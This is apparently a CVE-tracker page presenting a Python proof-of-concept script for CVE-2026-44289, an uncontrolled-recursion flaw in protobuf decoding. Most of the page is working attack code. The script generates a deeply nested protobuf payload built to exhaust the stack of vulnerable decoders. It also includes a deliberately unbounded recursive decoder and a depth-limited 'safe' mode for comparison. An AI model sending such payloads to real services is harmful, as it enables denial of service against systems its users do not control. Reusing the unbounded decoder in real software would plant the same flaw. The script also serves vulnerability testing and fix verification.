5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-44289.py PY
#!/usr/bin/env python3
"""
CVE-2026-44289 PoC - Uncontrolled Recursion in Protobuf Decoding
Demonstrates stack exhaustion via deeply nested messages.
"""

import argparse
import sys
import struct
from typing import Optional


class VulnerableProtobufDecoder:
    """Simplified vulnerable recursive decoder (mirrors the CVE issue)."""
    
    def __init__(self, max_depth: int = 0):
        self.max_depth = max_depth  # 0 = unlimited (vulnerable)

    def decode(self, data: bytes, depth: int = 0) -> dict:
        if self.max_depth > 0 and depth > self.max_depth:
            raise RecursionError("Maximum recursion depth exceeded (protected)")

        if depth > 1000:  # Python default recursion limit is ~1000
            raise RecursionError("Stack overflow simulated")

        result = {}
        i = 0
        while i < len(data):
            # Read tag: field_number << 3 | wire_type
            tag = 0
            shift = 0
            while i < len(data):
                b = data[i]
                i += 1
                tag |= (b & 0x7F) << shift
                shift += 7
                if not (b & 0x80):
                    break

            wire_type = tag & 7
            field_number = tag >> 3

            if wire_type == 2:  # length-delimited (common for nested messages)
                length = 0
                shift = 0
                while i < len(data):
                    b = data[i]
                    i += 1
                    length |= (b & 0x7F) << shift
                    shift += 7
                    if not (b & 0x80):
                        break
                nested_data = data[i:i + length]
                i += length
                # Recursive call - this is the vulnerable part
                result[field_number] = self.decode(nested_data, depth + 1)
            else:
                # Skip other types for simplicity
                result[field_number] = f"wire_type_{wire_type}"
        return result


def generate_deep_nested_payload(depth: int) -> bytes:
    """Generate a malicious deeply nested protobuf payload."""
    payload = b''
    for _ in range(depth):
        # Field 1, wire type 2 (length-delimited)
        payload = struct.pack("B", (1 << 3) | 2) + _encode_varint(len(payload)) + payload
    return payload


def _encode_varint(value: int) -> bytes:
    """Simple varint encoding."""
    parts = []
    while True:
        parts.append((value & 0x7F) | 0x80)
        value >>= 7
        if value == 0:
            parts[-1] &= 0x7F
            break
    return bytes(parts)


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-44289 PoC - Protobuf uncontrolled recursion",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --generate 5000          # Generate deep payload
  %(prog)s --decode --payload payload.bin --vulnerable
  %(prog)s --decode --payload payload.bin --safe
        """
    )
    parser.add_argument('--generate', type=int, metavar='DEPTH',
                        help='Generate a deeply nested payload of given depth')
    parser.add_argument('--decode', action='store_true',
                        help='Decode a payload (use with --payload)')
    parser.add_argument('--payload', type=str, default='payload.bin',
                        help='Path to payload file (default: payload.bin)')
    parser.add_argument('--vulnerable', action='store_true',
                        help='Use vulnerable decoder (no depth limit)')
    parser.add_argument('--safe', action='store_true',
                        help='Use safe decoder with depth limit')
    parser.add_argument('--depth-limit', type=int, default=200,
                        help='Max depth for safe decoder (default: 200)')

    args = parser.parse_args()

    if args.generate:
        print(f"[+] Generating payload with depth {args.generate}...")
        payload = generate_deep_nested_payload(args.generate)
        with open(args.payload, "wb") as f:
            f.write(payload)
        print(f"[+] Payload written to {args.payload} ({len(payload)} bytes)")
        print(f"    This should trigger stack overflow in vulnerable decoders.")
        return

    if args.decode:
        try:
            with open(args.payload, "rb") as f:
                data = f.read()
            print(f"[+] Loaded payload: {len(data)} bytes")
        except FileNotFoundError:
            print(f"[-] Payload file not found: {args.payload}")
            return

        if args.vulnerable:
            print("[!] Using VULNERABLE decoder (unlimited recursion)")
            decoder = VulnerableProtobufDecoder(max_depth=0)
            try:
                result = decoder.decode(data)
                print("[+] Decoded successfully (vulnerable version)")
            except RecursionError as e:
                print(f"[!] Crashed as expected: {e}")
            except Exception as e:
                print(f"[!] Error: {e}")
        elif args.safe:
            print(f"[+] Using SAFE decoder (depth limit: {args.depth_limit})")
            decoder = VulnerableProtobufDecoder(max_depth=args.depth_limit)
            try:
                result = decoder.decode(data)
                print("[+] Decoded successfully (protected)")
            except RecursionError as e:
                print(f"[+] Protected: {e}")
        else:
            print("[-] Specify --vulnerable or --safe")
        return

    parser.print_help()


if __name__ == "__main__":
    main()